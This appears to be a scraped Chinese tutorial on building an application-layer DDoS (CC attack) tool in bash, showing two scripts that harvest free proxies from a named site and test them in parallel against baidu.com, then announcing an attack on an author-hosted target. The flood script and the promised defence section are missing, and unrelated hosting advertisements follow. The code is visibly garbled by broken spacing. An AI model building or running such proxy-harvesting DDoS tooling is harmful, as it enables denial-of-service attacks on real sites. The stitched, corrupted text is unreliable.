我们将要实现一个进行应用层DDoS攻击的工具综合考虑 CC攻击方式是最佳选择并用bash shell脚本来快速实现并验证这一工具并在最后讨论如何防御来自应用层的DDoS攻击。
第一步获取大量可用代理ip:port列表
网上所处可见免费代理我们使用http的GET方法抓取html文档接着使用正则过滤出我们需要的ip port对然后逐一验证各代理的可用性最终得到可用的代理ip port对。
C
1 grab_proxy.sh
2 #!/bin/bash
3
4 #get proxy l ist
5 declare proxyListFi le="proxy.txt"
6 declaretmpFi le=`mktemp`
7 declareurl
8 declarel ine
9 declaretimes
10 declareip
11 declare port
12 declare i
13 declarej
14 declare mod
15
16 function quit() {
17 rm-f$tmpFi le
18 exit "$1"
19}
20
21 echo"get proxy l ist. . .please wait. .."
22
23 if[ -r "$proxyListFi le" ]
24then
25 rm-f$proxyListFi le
26 fi
27
28 touch$proxyListFi le
29
30 forurl in " http://www.youdai l i .cn/Dai l i/guonei/2215.html "\
32 " http://www.youdai l i .cn/Dai l i/guonei/2215_3.html"\
33 " http://www.youdai l i .cn/Dai l i/guonei/2215_4.html "
34 do
35 if GET"$url">$tmpFi le
36 then
37 grep-oE '^.*<br/>.*$' "$tmpFi le" |grep-Eo"([0-9]+) (\. [0-9]+){3}:([0-9]+)"\
38 | sort -n | uniq | awk-F: '{printf("%-15s%s\n",$1,$2); }'>>$proxyListFi le
39 else
40 exec1>&2
41 echo"error:get proxyl istfai l ! chechthe url :$urlorthe network"
42 quit1
43 fi
44 done
45
46 echo"done. total `cat$proxyListFi le |wc-l`proxy"
47
48 quit0
49#exit
参数declare proxyListFile=” proxy. txt” ?#抓取到的代理ip port对所存放的文件路径
C
1 check_proxy.sh
2 #!/bin/bash
3
4 #get proxy l ist
5 declarecheck_threads=10
6 declarel ine
7 declaretimes
8 declareip
9 declare port
10 declare i
11 declarej
12 declare mod
13
14 function quit() {
15 exit "$1"
16}
17
18#echo"start check proxy'sfunctional ity. . ."
19
20#retargetthe inputfi leto stdin
21 if[ "$#" -gt "0" ]
22then
23 exec0<$1
24 else
25 exec1>&2
26 echo"usage:bash$0 proxyListFi le.txt"
27 echo"error:musthaveone inputarg"
28 quit1
29 fi
30
31#check proxy'sfunctional ity
32times=0
33whi lereadl ine
34 do
35 times=$((times+1) )
36 j=0
37 for i in`echo$l ine | tr ' ' '\n' |grep-E'^[^\s].*$'`38 do
39 j=$((j+1) )
40 if[ "$j" -eq1 ]
41 then
42 ip=$i
43 else
44 port=$i
45 fi
46 done
47 #echo"times=$timesip=$ip port=$port"
48 #start test
49 if GET-t 5-p"http://$ip:$port" "http://baidu.com"&>/dev/nul l
50 then
51 echo"$ip$port"
52 echo":) ip=$ip port=$port "&>/dev/nul l
53 else
54 echo"inval id ip=$ip port=$port :please check ip:host or network"&>/proc/self/fd/2
55 fi&
56 mod=$((times%check_threads) )
57 if [ "$mod" -eq"0" ]
58 then
59 wait
60 fi
61 done
62
63#closethefdof inputfi le
64 exec 0>&-
65 quit0
66#exit
参数declare check_threads=10#验证代理可用性时的并发数看一下代码就会发现我们使用的是GET?http://baidu.com方法所以并发数请不要也太高: )除非你的目标就是……
总结应征入伍的士兵共计600人经过考核的共计449人如果你还想招募更多的士兵奉劝一句苦海无边 回头是岸。
第二步吹响战争号角
笔者在一台VPS上建立了一个薄弱的靶机各位读者请不要太暴力测试一下就可以了地址?http://eecs.cc:8080/
快快云怎么样?快快云是一家成立于2021年的主机服务商,致力于为用户提供高性价比稳定快速的主机托管服务,快快云目前提供有香港云服务器、美国云服务器、日本云服务器、香港独立服务器、美国独立服务器,日本独立服务器。快快云专注为个人开发者用户,中小型,大型企业用户提供一站式核心网络云端服务部署,促使用户云端部署化简为零,轻松快捷运用云计算!多年云计算领域服务经验,遍布亚太地区的海量节点为业务推进提供强大...
hostround怎么样?大硬盘服务器,高防服务器。hostround,美国商家,2017年成立,正规注册公司(Company File #6180543),提供虚拟主机、VPS云主机、美国服务器、荷兰服务器租用等。现在有1款特价大硬盘独服,位于达拉斯,配置还不错,本月订购时包括免费 500Gbps DDoS 保护,有兴趣的可以关注一下。点击直达:hostround官方网站地址美国\荷兰独立服务器...
易速互联怎么样?易速互联是国人老牌主机商家,至今已经成立9年,商家销售虚拟主机、VPS及独立服务器,目前商家针对美国加州萨克拉门托RH数据中心进行促销,线路采用BGP直连线路,自带10G防御,美国加州地区,100M带宽不限流量,月付299元起,有需要美国不限流量独立服务器的朋友可以看看。点击进入:易速互联官方网站美国独立服务器优惠套餐:RH数据中心位于美国加州、配置丰富性价比高、10G DDOS免...